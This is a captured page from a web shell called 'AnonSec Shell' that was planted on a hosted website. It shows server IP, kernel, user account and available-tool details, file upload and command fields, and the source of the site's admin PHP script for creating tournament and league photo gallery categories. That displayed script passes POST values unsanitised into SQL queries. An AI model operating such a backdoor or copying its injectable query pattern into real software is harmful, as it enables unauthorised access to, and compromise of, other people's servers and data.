AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.134
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/t/f/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/t/f/atfycaf/www/admin/galleryCatNewT.php
<?php
$thisCheckID	= 34;
include "globalVars.php";

if (isset($_POST["createKnockoutCat"])) {

	$tournamentID	= $_POST["tID"];

	$tournamentQuery = mysqli_query($conn, "SELECT * FROM knockoutConfig WHERE id = '$tournamentID'");
	while ($tQ = mysqli_fetch_array($tournamentQuery)) {
		$tournType		= $tQ["tournType"];
		$tournTitle		= $tQ["tournTitle"];
		$tournStartDate	= $tQ["tournStartDate"];
		$tStartMonth	= date("F", strtotime($tournStartDate));
		$tStartYear		= date("Y", strtotime($tournStartDate));
		$tournLocation	= $tQ["tournLocation"];
		$photoGallery	= $tQ["photoGallery"];
	}
	$tournamentIDQuery = mysqli_query($conn, "SELECT groupTitle FROM knockoutGroups WHERE id = '$tournType'");
	while ($tIQ = mysqli_fetch_array($tournamentIDQuery)) {
		$tournamentGroup	= $tIQ["groupTitle"];
	}
	if (trim($tournTitle) == "") {
		$tournTitle	= "$tournLocation $tournamentGroup $tStartMonth $tStartYear";
	}

	if ($photoGallery == 0) {

		$pageURL	= str_replace($badURL, $goodURL, $tournTitle);
		$pageURL	= strtolower($pageURL) ;

		$dupQuery = mysqli_query($conn, "SELECT id FROM photoGalleryCats WHERE pageURL LIKE '$pageURL%%'");
		$isDup = mysqli_num_rows($dupQuery);
		if ($isDup > 0) {
			$pageURL .= "-". ($isDup + 1);
		}

		if(!is_dir($SERVER_ROOT  ."/images/gallery/$pageURL")) {
			mkdir($SERVER_ROOT   ."/images/gallery/$pageURL");
		}

		mysqli_query($conn, "INSERT INTO photoGalleryCats (pageURL, catTitle, tournLeague, compID) VALUES ('$pageURL', '". addslashes($tournTitle) ."', '1', '$tournamentID')") or die (mysqli_error($conn));
		$catID	= mysqli_insert_id($conn);

		$trackDate		= date("Y-m-d H:i:s");
		mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/galleryCatNewT.php', 'photoGalleryCats', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; created the ". addslashes($tournTitle) ." photo gallery')");

		mysqli_query($conn, "UPDATE knockoutConfig SET photoGallery = '$catID' WHERE id = '$tournamentID'");

		echo $catID;

	} else {
		echo $photoGallery;
	}
} elseif (isset($_POST["createLeagueCat"])) {

	$leagueID	= $_POST["lID"];

	$leagueQuery = mysqli_query($conn, "SELECT * FROM leagueConfig WHERE id = '$leagueID'");
	while ($lQ = mysqli_fetch_array($leagueQuery)) {
		$leagueType		= $lQ["leagueType"];
		$startDate		= $lQ["startDate"];
		$tStartMonth	= date("F", strtotime($startDate));
		$tStartYear		= date("Y", strtotime($startDate));
		$photoGallery	= $lQ["photoGallery"];
	}
	$tournamentIDQuery = mysqli_query($conn, "SELECT groupTitle FROM leagueGroups WHERE id = '$leagueType'");
	while ($tIQ = mysqli_fetch_array($tournamentIDQuery)) {
		$leagueGroup	= $tIQ["groupTitle"];
	}
	$tournTitle	= "$leagueGroup $tStartMonth $tStartYear";

	if ($photoGallery == 0) {

		$pageURL	= str_replace($badURL, $goodURL, $tournTitle);
		$pageURL	= strtolower($pageURL) ;

		$dupQuery = mysqli_query($conn, "SELECT id FROM photoGalleryCats WHERE pageURL LIKE '$pageURL%%'");
		$isDup = mysqli_num_rows($dupQuery);
		if ($isDup > 0) {
			$pageURL .= "-". ($isDup + 1);
		}

		if(!is_dir($SERVER_ROOT  ."/images/gallery/$pageURL")) {
			mkdir($SERVER_ROOT   ."/images/gallery/$pageURL");
		}

		mysqli_query($conn, "INSERT INTO photoGalleryCats (pageURL, catTitle, tournLeague, compID) VALUES ('$pageURL', '". addslashes($tournTitle) ."', '2', '$leagueID')") or die (mysqli_error($conn));
		$catID	= mysqli_insert_id($conn);

		mysqli_query($conn, "UPDATE leagueConfig SET photoGallery = '$catID' WHERE id = '$leagueID'");

		echo $catID;

	} else {
		echo $photoGallery;
	}
}
?>

Anon7 - 2022
AnonSec Team